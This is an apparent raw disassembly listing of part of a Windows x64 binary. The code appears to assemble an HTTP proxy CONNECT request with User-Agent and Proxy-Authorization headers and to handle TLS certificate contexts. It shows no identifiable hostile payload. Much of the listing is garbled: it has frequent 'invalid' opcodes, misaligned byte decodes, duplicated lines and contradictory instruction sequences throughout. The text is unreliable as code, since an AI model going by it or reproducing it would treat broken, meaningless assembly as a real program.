movups xmm1, xmmword [rcx + 0x10]
adc byte [rcx + 0x10], cl
adc byte [rcx + 0x10], cl
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
add eax, 0x100f0000
add byte [rdi], cl
adc byte [rax + 0x10], cl
add eax, 0x100f0000
add byte [rdi], cl
adc byte [rax + 0x10], cl
movaps xmmword [rsp + 0x4b0], xmm0
sub dword [rsp + 0x4b0], eax
add byte [rax], al
movaps xmmword [rsp + 0x4c0], xmm1
sub dword [rsp + 0x4c0], ecx
mov rax, qword [rax + 0x20]
mov eax, dword [rax + 0x20]
mov qword [rsp + 0x4d0], rax
lea rdx, [0x140142f88]
lea edx, [0x140142f88]
test byte [rax + rdx*8], ah
add al, 0
add byte [rax - 0x73], cl
lea edx, [0x140142f88]
lea edx, [0x140142f88]
or dword [rax], eax
lea rcx, [rsp + 0x1168]
lea r8, [rsp + 0x500]
add byte [rax], al
add al, ch
pushfq
cmp byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*4], ah
add al, 0
add cl, ch
sub byte [rdx], al
add al, byte [rax]
invalid
add al, ch
pushfq
cmp byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*4], ah
add al, 0
add cl, ch
sub byte [rdx], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rbp, [rsi + 0x614]
lea rbp, [rsi + 0x614]
add byte [rdi], cl
mov dh, 0x86
adc al, 6
movzx eax, byte [rsi + 0x614]
add byte [rax], al
add byte [rbp + rcx*4 - 0x4a], cl
lea r14, [rsi + 0x2d8]
mov dh, 0xd8
add al, byte [rax]
fadd dword [rdx]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
or eax, 0xcd5c3
lea rcx, [0x140177ec0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x1400aa916
movzx edi, word [rsi + 0x610]
mov bh, 0xbe
adc byte [rsi], al
add byte [rax], al
jmp 0x1400ab1a3
mov rdx, qword [rsi + 0x2d8]
fadd dword [rdx]
add byte [rax], al
add al, byte [rax]
add byte [rbx + rcx*4 - 0x72], cl
loopne 0x1400aa920
mov r9, qword [rsi + 0x2e0]
add byte [rax], al
lea rcx, [rsp + 0x1168]
mov r8, rbx
call qword [r9 + 0x18]
push rcx
sbb byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x68
adc dword [rax], eax
add byte [rax], al
cmp rbp, 4
std
add al, 0x75
insb byte [rdi], dx
adc dword [rax], eax
add byte [rcx - 0x77], cl
fadd dword [rcx - 1]
push rcx
sbb byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x68
adc dword [rax], eax
add byte [rax], al
invalid
invalid
std
add al, 0x75
insb byte [rdi], dx
mov byte [r13 + 0x11], 3
mov al, 3
jmp 0x1400ace3c
add byte [rax], al
add byte [rax], al
lea r12, [rsi + 0x9b8]
movzx eax, byte [rsi + 0x9b8]
lea rdx, [rsi + 0x2d8]
invalid
or dword [rax], eax
add byte [rdi], cl
mov dh, 0x86
mov eax, 0x48000009
lea edx, [rsi + 0x2d8]
invalid
add byte [rbp + 0x31840fc0], al
test eax, eax
je 0x1400aaa97
test byte [rcx], dh
add dword [rax], eax
invalid
ror byte [rdi], 0x84
xor dword [rcx], eax
add byte [rax], al
test byte [rcx], dh
add dword [rax], eax
add byte [rbx - 0x7af0fc08], al
cmp cl, byte [rdi]
add byte [rax], al
cmp eax, 3
jne 0x1400ab8a9
add byte [rax], al
mov qword [rsp + 0xb0], rdx
lea rdx, [rsi + 0x788]
xchg esi, eax
mov byte [rdi], al
add byte [rax], al
xchg esi, eax
mov byte [rdi], al
add byte [rax], al
movzx eax, byte [rsi + 0x788]
lea rcx, [0x140177eac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rsp + 0xa8], rdx
jmp rax
lea rcx, [0x14013d6d8]
call fcn.140108880
invalid
invalid
add eax, 0xbc8b4c00
and al, 0x70
adc dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x78
adc dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
adc dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x1c28]
mov r8d, 0x110
mov r15, qword [rsp + 0x1170]
mov r12, qword [rsp + 0x1178]
lea rdx, [rsp + 0x1180]
lea rcx, [rsp + 0x1c28]
mov r8d, 0x110
call fcn.140106250
mov r14, qword [rsi + 0x2d8]
mov rdi, qword [rsi + 0x2e0]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400aaa0b
cmp qword [rdi + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400aa9f9
mov r14, qword [r14 - 8]
jbe 0x1400aa9f1
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov dil, 2
cmp ebp, 3
je 0x1400acd05
mov qword [rsp + 0x28], r13
lea rcx, [rsp + 0x1180]
lea rdx, [rsp + 0x1c28]
mov r8d, 0x110
call fcn.140106250
mov qword [rsp + 0x1168], rbp
mov qword [rsp + 0x1170], r15
mov qword [rsp + 0x1178], r12
mov r13, qword [rsi + 0x280]
test r13, r13
je 0x1400aae81
add byte [rax], al
add byte [rax], al
mov r15, qword [rsi + 0x288]
mov esi, 0x288
test r15, r15
je 0x1400ab002
js 0x1400ad0f8
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400dfbe0
test rax, rax
je 0x1400ab8c1
xor cl, byte [rsi]
add byte [rax], al
xor cl, byte [rsi]
add byte [rax], al
mov r12, rax
jmp 0x1400ab008
movdqu xmm6, xmmword [rsi + 0x400]
mov rdi, qword [rsi + 0x410]
jmp 0x1400abe57
add cl, ch
lodsb al, byte [rsi]
adc eax, dword [rax]
add byte [rdi], cl
adc byte [rcx], al
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x4f0], xmm1
invalid
adc byte [rdi], cl
sub dword [rsp + 0x4f0], ecx
invalid
add byte [rdi], cl
sub dword [rsp + 0x4e0], eax
movaps xmmword [rsp + 0x4e0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x480], xmm0
movaps xmmword [rsp + 0x490], xmm1
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x4a0], rax
lea rdx, [0x140142948]
lea rcx, [rsp + 0x1168]
adc dword [rax], eax
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xe0
add al, 0
add al, ch
outsd dx, dword [rsi]
add byte ss:[rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x480]
mov rcx, qword [rax + 0x20]
mov qword [r14 + 0x20], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [rsp + 0x11b8]
mov qword [rsp + 0x240], rax
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x11a8], al
movaps xmmword [rsp + 0x230], xmm0
movups xmm0, xmmword [rsp + 0x1168]
movups xmm1, xmmword [rsp + 0x1178]
movups xmm2, xmmword [rsp + 0x1188]
movups xmm3, xmmword [rsp + 0x1198]
movaps xmmword [rsp + 0x220], xmm3
movaps xmmword [rsp + 0x210], xmm2
movaps xmmword [rsp + 0x200], xmm1
movaps xmmword [rsp + 0x1f0], xmm0
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0x1e0], rax
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
mov byte [rsi + 0x2d4], 1
movaps xmm0, xmmword [rsp + 0x1c0]
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x1d0], cl
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x1d0], cl
movups xmmword [rsi + 0x250], xmm0
movups xmmword [rsi + 0x260], xmm1
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1e0]
mov qword [rsi + 0x270], rax
and al, 0xe0
add dword [rax], eax
add byte [rax - 0x77], cl
xchg byte [rax + 2], dh
add byte [rax], al
mov qword [rsi + 0x278], rdi
add byte [rax], al
movzx eax, byte [rsi + 0x1a8]
test al, 1
jne 0x1400aadeb
mov byte [rsi + 0x2d5], 0
movups xmm0, xmmword [rdi + 0x70]
movaps xmmword [rsp + 0xe60], xmm0
movups xmm0, xmmword [rdi + 0x60]
movaps xmmword [rsp + 0xe50], xmm0
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rsp + 0xe40], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0xe30], xmm0
movaps xmmword [rsp + 0xe30], xmm0
xor byte [rsi], cl
add byte [rax], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xe20], xmm3
add byte [rdi], cl
sub dword [rsp + 0xe10], edx
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe10], edx
invalid
add byte [rax], al
movaps xmmword [rsp + 0xe00], xmm1
movaps xmmword [rsp + 0xdf0], xmm0
movaps xmm0, xmmword [rsp + 0x1f0]
add byte [rdi], cl
sub byte [rsp + 0x200], cl
and al, 0
invalid
or eax, 0x280f0000
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x200], cl
movaps xmm2, xmmword [rsp + 0x210]
movaps xmm3, xmmword [rsp + 0x220]
add byte [rdi], cl
sub byte [rsp + 0x220], bl
movaps xmmword [rsp + 0xe70], xmm0
movaps xmmword [rsp + 0xe80], xmm1
sub dword [rsp + 0xe80], ecx
movaps xmmword [rsp + 0xe90], xmm2
movaps xmmword [rsp + 0xea0], xmm3
sub dword [rsp + 0xea0], ebx
add byte [rdi], cl
sub byte [rsp + 0x230], al
and al, 0x30
add al, byte [rax]
invalid
movaps xmm0, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0xeb0], xmm0
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
and al, 0x40
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0xec0], rax
invalid
add byte [rax], al
add byte [rax - 0x73], cl
mov ds, eax
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xf0
or eax, 0xb8410000
mov r8d, 0x250
call fcn.140106250
mov ch, 5
add byte [rsi - 0x39], ah
xchg byte [rax], ch
sub byte [0x1400bacd9], al
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
invalid
add byte [rax - 0x73], cl
mov ds, eax
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xf0
or eax, 0xb8410000
mov r8d, 0x250
call fcn.140106250
mov ch, 5
add byte [rsi - 0x39], ah
xchg byte [rax], ch
sub byte [0x1400bacd9], al
mov ch, 5
add byte [rsi - 0x39], ah
xchg byte [rax], ch
sub byte [0x1400bacd9], al
lea r14, [rsi + 0x2d8]
lea rcx, [rsp + 0x1168]
and al, 0x68
adc dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
and al, 0x68
adc dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
mov r8, rbx
call fcn.1400aea60
movzx edi, byte [rsp + 0x1179]
cmp dil, 3
inc dword [rbx]
inc dword [rbx]
jne 0x1400aad0d
mov byte [r13 + 0x11], 3
mov al, 6
jmp 0x1400ace3c
mov r15, qword [rsp + 0x1168]
mov r12, qword [rsp + 0x1170]
movzx ebp, byte [rsp + 0x1178]
add byte [rbx + 0x117a2484], cl
add byte [rax], al
add byte [rbx + 0x117a2484], cl
add byte [rax], al
mov dword [rsp + 0x38], eax
movzx eax, word [rsp + 0x117e]
mov word [rsp + 0x3c], ax
mov rcx, r14
call 0x1400ad6e0
cmp byte [rsi + 0x270], 2
je 0x1400aad6d
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
call qword [rax + 0x10]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
jb 0x1400aada8
mov rbx, qword [rsi + 0x1b0]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
or eax, 0x49d23100
mov eax, ebx
or eax, 0x49d23100
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
mov rdx, qword [rsi + 0x1e0]
xchg esi, eax
loopne 0x1400aaddb
add byte [rax], al
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
jmp 0x1400ace11
and byte es:[rax], al
invalid
and byte es:[rax], al
add byte [rax + 0x1a9be], al
add byte [rax], al
invalid
cmp byte [rsi + 0x1a9], 0
je 0x1400aabf0
dec dword [rax - 0x75]
xchg esi, eax
enter 1, 0
mov rdx, qword [rsi + 0x1c8]
test rdx, rdx
je 0x1400aaf0d
invalid
ror byte [rdi], cl
test byte [0x1880aae0a], al
add byte [rax - 0x75], cl
mov es, eax
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
mov es, eax
add dword [rax], eax
add al, ch
int3
mov rcx, qword [rsi + 0x1c0]
call fcn.140032de0
mov r8, qword [rsi + 0x1c8]
enter 1, 0
mov qword [rsi + 0x280], rax
add byte [rax - 0x77], cl
xchg esi, eax
mov byte [rdx], al
add byte [rax], al
jg 0x1400aae0b
add byte [rax - 0x77], cl
xchg esi, eax
mov byte [rdx], al
add byte [rax], al
test r8, r8
je 0x1400aaf18
invalid
mov rdx, qword [rsi + 0x1c0]
lea rcx, [rsp + 0x1168]
call fcn.140032950
mov rax, qword [rsp + 0x1168]
mov eax, dword [rsp + 0x1168]
mov eax, dword [rsp + 0x1168]
movzx ecx, word [rsp + 0x1178]
jmp 0x1400aaf1a
mov rcx, qword [rsi + 0x620]
mov rdx, qword [rsi + 0x628]
add byte [rax - 0x75], cl
xchg esi, eax
sub byte [rsi], al
add byte [rax], al
mov rax, qword [rsi + 0x630]
jmp 0x1400ab8ce
mov r9, qword [rsi + 0x628]
jmp 0x1400ab672
movzx eax, byte [0x140182310]
mov edx, 0xe
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0e9
mov rbx, rax
movabs rax, 0x6c7275206e692074
mov qword [rbx + 6], rax
movabs rax, 0x2074736f68206f6e
mov qword [rbx], rax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
mov r13, qword [rsp + 0x28]
je 0x1400ad0a4
mov r15, rax
mov qword [rax], 0xe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], 0xe
cmp ebp, 2
jne 0x1400ab749
lea rcx, [rsp + 0x1170]
call fcn.1400ad940
jmp 0x1400ab756
mov qword [rsi + 0x280], 0
xor eax, eax
test rax, rax
mov eax, 0x1bb
cmovne eax, ecx
mov word [rsi + 0x2d0], ax
mov rdi, qword [rsi + 0x148]
lock inc qword [rdi]
jle case.0x1400aa99b.2
mov qword [rsp + 0x28], r13
mov r15, qword [rsi + 0x150]
add byte [rax], al
add byte [rax], al
mov r12, qword [rsi + 0x158]
lock inc qword [r15]
jle case.0x1400aa99b.2
mov r13, qword [rsi + 0x278]
cmp qword [r13], 0
je 0x1400aaf7c
mov rcx, qword [r13 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov ebp, 1
jmp 0x1400aaf7e
xor ebp, ebp
mov rcx, qword [r13 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx edx, word [r13 + 0x1c]
lea rcx, [rsi + 0x290]
mov r8d, dword [r13 + 0x18]
mov qword [rsi + 0x290], rbp
mov qword [rsi + 0x298], r14
mov qword [rsi + 0x2a0], rax
mov dword [rsi + 0x2a8], r8d
mov word [rsi + 0x2ac], dx
mov byte [rsi + 0x2c8], 0
mov qword [rsi + 0x2b0], rdi
mov qword [rsi + 0x2b8], r15
mov qword [rsi + 0x2c0], r12
lea rdx, [rsp + 0x1f0]
call fcn.1400ae580
mov r9, rdx
mov rdx, rax
mov qword [rsi + 0x2d8], rax
mov qword [rsi + 0x2e0], r9
mov r13, qword [rsp + 0x28]
jmp 0x1400aa920
mov r12d, 1
lea r14, [rsi + 0x2d8]
mov rcx, r12
mov rdx, r13
mov r8, r15
mov eax, edi
mov eax, edi
call fcn.140106250
movzx edi, word [rsi + 0x2d0]
mov bpl, 2
cmp byte [rsi + 0x190], 2
je 0x1400ab099
lea rdx, [rsi + 0x188]
mov rax, qword [rsi + 0x170]
mov r8, qword [rsi + 0x178]
mov r9, qword [rsi + 0x180]
lea rcx, [rsp + 0x520]
call qword [rax]
movzx ebp, byte [rsi + 0x190]
movups xmm0, xmmword [rsp + 0x520]
movups xmm1, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x270], xmm1
mov eax, dword [rsp + 0x541]
mov dword [rsp + 0xab0], eax
mov eax, dword [rsp + 0x544]
mov dword [rsp + 0xab3], eax
mov byte [rsi + 0x2d4], 0
lea r13, [rsp + 0x750]
lea rdx, [rsp + 0x1168]
mov r8d, 0x128
mov rcx, r13
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x980], xmm0
movaps xmmword [rsp + 0x990], xmm1
mov eax, dword [rsp + 0xab0]
mov ecx, dword [rsp + 0xab3]
mov dword [rsp + 0x1040], eax
mov dword [rsp + 0x1043], ecx
mov r8d, 0x128
mov rcx, r14
mov rdx, r13
call fcn.140106250
mov qword [rsi + 0x400], r15
mov qword [rsi + 0x408], r12
mov qword [rsi + 0x410], r15
movaps xmm0, xmmword [rsp + 0x980]
movaps xmm1, xmmword [rsp + 0x990]
movups xmmword [rsi + 0x418], xmm0
movups xmmword [rsi + 0x428], xmm1
mov byte [rsi + 0x438], bpl
mov eax, dword [rsp + 0x1040]
mov ecx, dword [rsp + 0x1043]
mov dword [rsi + 0x439], eax
mov dword [rsi + 0x43c], ecx
movups xmm0, xmmword [rsi + 0x250]
movups xmm1, xmmword [rsi + 0x260]
add byte [rdi], cl
adc dword [rsi + 0x440], eax
add byte [rdi], cl
adc dword [rsi + 0x440], eax
movups xmmword [rsi + 0x450], xmm1
mov rax, qword [rsi + 0x270]
mov qword [rsi + 0x460], rax
mov word [rsi + 0x610], di
lea rbp, [rsi + 0x614]
mov byte [rsi + 0x614], 0
mov r13, qword [rsp + 0x28]
mov byte [rsi + 0x617], 1
lea r15, [rsi + 0x468]
mov r8d, 0x128
mov rcx, r15
mov rdx, r14
call fcn.140106250
lea rax, [rsi + 0x590]
movups xmm0, xmmword [rsi + 0x400]
movups xmmword [rsi + 0x590], xmm0
mov rcx, qword [rsi + 0x410]
mov qword [rsi + 0x5a0], rcx
lea rcx, [rsi + 0x612]
mov word [rsi + 0x612], di
movups xmm0, xmmword [rsi + 0x418]
movups xmmword [rsi + 0x5a8], xmm0
movups xmm0, xmmword [rsi + 0x428]
movups xmmword [rsi + 0x5b8], xmm0
mov rdx, qword [rsi + 0x438]
mov qword [rsi + 0x5c8], rdx
mov word [rsi + 0x615], 0x101
movups xmm0, xmmword [rsi + 0x440]
movups xmmword [rsi + 0x5d0], xmm0
movups xmm0, xmmword [rsi + 0x450]
movups xmmword [rsi + 0x5e0], xmm0
mov rdx, qword [rsi + 0x460]
mov qword [rsi + 0x5f0], rdx
mov qword [rsp + 0x1830], rax
lea rax, [0x140006e70]
mov qword [rsp + 0x1838], rax
mov qword [rsp + 0x1840], rcx
lea rax, [0x1400163d0]
mov qword [rsp + 0x1848], rax
mov qword [rsp + 0x260], 2
mov qword [rsp + 0x270], 2
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x288], 0x20
mov byte [rsp + 0x290], 3
mov qword [rsp + 0x298], 2
mov qword [rsp + 0x2a8], 2
mov qword [rsp + 0x2b8], 1
mov qword [rsp + 0x2c0], 0x20
mov byte [rsp + 0x2c8], 3
mov qword [rsp + 0x2d0], 2
mov qword [rsp + 0x2e0], 2
mov qword [rsp + 0x2f0], 0
mov qword [rsp + 0x2f8], 0x20
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rbx], al
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rbx], al
mov qword [rsp + 0x308], 2
mov qword [rsp + 0x318], 2
mov qword [rsp + 0x328], 1
and al, 0x28
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi], ah
add eax, dword [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rdi], ah
cmp byte [rbx], al
add byte [rax], al
invalid
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
and al, 0x28
and al, 0x28
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi], ah
add eax, dword [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rdi], ah
cmp byte [rbx], al
add byte [rax], al
invalid
cmp byte [rbx], al
add byte [rax], al
add ecx, dword [rax - 0x73]
add eax, 0x97db3
lea rax, str.CONNECT__HTTP_1.1_r_nHost:
mov qword [rsp + 0xab0], rax
mov qword [rsp + 0xab8], 5
lea rax, [rsp + 0x260]
mov qword [rsp + 0xad0], rax
mov qword [rsp + 0xad8], 4
lea rax, [rsp + 0x1830]
mov qword [rsp + 0xac0], rax
ror byte [rdx], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
or al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rcx], fs
invalid
add byte [rax], al
ror byte [rdx], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
or al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rcx], fs
invalid
lea rdx, [rsp + 0xab0]
call fcn.140011100
mov rax, qword [rsp + 0x1718]
mov qword [rsi + 0x608], rax
or byte [rsi], al
add byte [rax], al
or byte [rsi], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x1708]
movups xmmword [rsi + 0x5f8], xmm0
cmp byte [rsi + 0x5c8], 2
je 0x1400ab501
mov rdi, r14
lea rax, [rsi + 0x5a8]
mov byte [rsi + 0x616], 0
add byte [rax - 0x75], cl
and byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x270], xmm1
jo 0x1400ab41d
add byte [rax], al
jo 0x1400ab41d
add byte [rax], al
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsi + 0x5f8]
mov r12, qword [rsi + 0x608]
sub rax, r12
mov r14, r13
cmp rax, 0xb
jbe 0x1400ab783
mov rax, qword [rsi + 0x600]
movabs rcx, 0x6567412d72657355
mov qword gs:[eax + r12d], rcx
mov qword gs:[eax + r12d], rcx
mov dword [rax + r12 + 8], 0x203a746e
add r12, 0xc
mov qword [rsi + 0x608], r12
invalid
add byte [rax], al
mov rdx, qword [rsp + 0x268]
mov r13, qword [rsp + 0x270]
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, r13
jb 0x1400ab7a4
invalid
mov rcx, qword [rsi + 0x600]
add rcx, r12
mov r8, r13
call fcn.140106250
add r12, r13
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, 1
jbe 0x1400ab7cc
mov r13, r14
mov rax, qword [rsi + 0x600]
mov word [rax + r12], 0xa0d
add r12, 2
mov qword [rsi + 0x608], r12
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x70
add al, byte [rax]
add byte [rax], al
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x70
add al, byte [rax]
add byte [rax], al
invalid
push rax
add byte [rax], al
call qword [rax + 0x10]
mov r14, rdi
adc byte [rcx - 0x77], cl
inc byte [rax + 0x5f0be]
add byte [rdx], al
cmp byte [rsi + 0x5f0], 2
je 0x1400ab622
mov rdi, r14
lea rax, [rsi + 0x5d0]
mov byte [rsi + 0x615], 0
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x280], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsi + 0x5f8]
mov r12, qword [rsi + 0x608]
sub rax, r12
mov r14, r13
cmp rax, 0x14
jbe 0x1400ab7ed
mov rax, qword [rsi + 0x600]
movups xmm0, xmmword [str.Proxy_Authorization:]
movups xmmword [rax + r12], xmm0
movabs rcx, 0x203a6e6f6974617a
mov qword [rax + r12 + 0xd], rcx
add r12, 0x15
mov qword [rsi + 0x608], r12
mov rdx, qword [rsp + 0x268]
mov r13, qword [rsp + 0x270]
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, r13
jb 0x1400ab80e
mov rcx, qword [rsi + 0x600]
add rcx, r12
mov r8, r13
call fcn.140106250
add r12, r13
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, 1
jbe 0x1400ab836
mov r13, r14
mov rax, qword [rsi + 0x600]
mov word [rax + r12], 0xa0d
add r12, 2
mov qword [rsi + 0x608], r12
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x70
add al, byte [rax]
add bh, bh
push rax
adc byte [rcx - 0x77], cl
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x70
add al, byte [rax]
add bh, bh
push rax
adc byte [rcx - 0x77], cl
dec byte [rax - 0x75]
xchg al, bh
add eax, 0x8b4c0000
mov cs, word [rax]
invalid
mov rax, qword [rsi + 0x5f8]
mov r9, qword [rsi + 0x608]
sub rax, r9
cmp rax, 1
jbe 0x1400ab762
mov rax, qword [rsi + 0x600]
mov word [rax + r9], 0xa0d
add r9, 2
mov qword [rsi + 0x608], r9
mov rax, qword [rsi + 0x600]
mov qword [rsi + 0x618], r15
mov qword [rsi + 0x620], rax
mov qword [rsi + 0x628], r9
movabs rdi, 0x1700000003
nop dword [rax]
invalid
invalid
invalid
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rdi], cl
invalid
test r9, r9
je 0x1400ab722
mov rcx, qword [rsi + 0x618]
mov r8, qword [rsi + 0x620]
add byte [rax], al
add byte [rax], al
cmp dword [rcx], 2
jne 0x1400ab6b0
add rcx, 8
mov rdx, rbx
call fcn.1400e7610
cmp rax, 2
jne 0x1400ab6be
adc bl, ch
pop rdi
jmp 0x1400ab70f
mov rdx, rbx
call fcn.1400af240
cmp eax, dword [rax]
add byte [rax - 0x7d], cl
clc
invalid
je 0x1400ab70f
test rax, rax
jne 0x1400ab716
mov rax, qword [rsi + 0x620]
mov r9, qword [rsi + 0x628]
mov qword [rsi + 0x620], 1
add byte [rax], al
add byte [rax - 0x39], cl
xchg byte [rax], ch
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub r9, rdx
ror dword [rdi], 1
invalid
add dword [eax], eax
invalid
xchg byte [rax], ah
invalid
add rax, rdx
mov qword [rsi + 0x620], rax
mov qword [rsi + 0x628], r9
test rdx, rdx
jne 0x1400ab680
jmp 0x1400aba22
add byte [rax], al
mov al, 3
jmp 0x1400ab912
mov rdi, rdx
test rdx, rdx
jne 0x1400aba22
lea rcx, [rsi + 0x638]
cmp byte [rsi], al
add byte [rax], al
xor r15d, r15d
mov r8d, 0x2000
mov eax, 0x2000
xor edx, edx
call fcn.1401069d0
mov qword [rsi + 0x618], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x1400ab9eb
invalid
add al, byte [rax]
invalid
invalid
lea rcx, [rsp + 0x1168]
call fcn.1400addd0
invalid
add byte [rbp + rcx*4 + 0x25], cl
and ebx, dword [rbx]
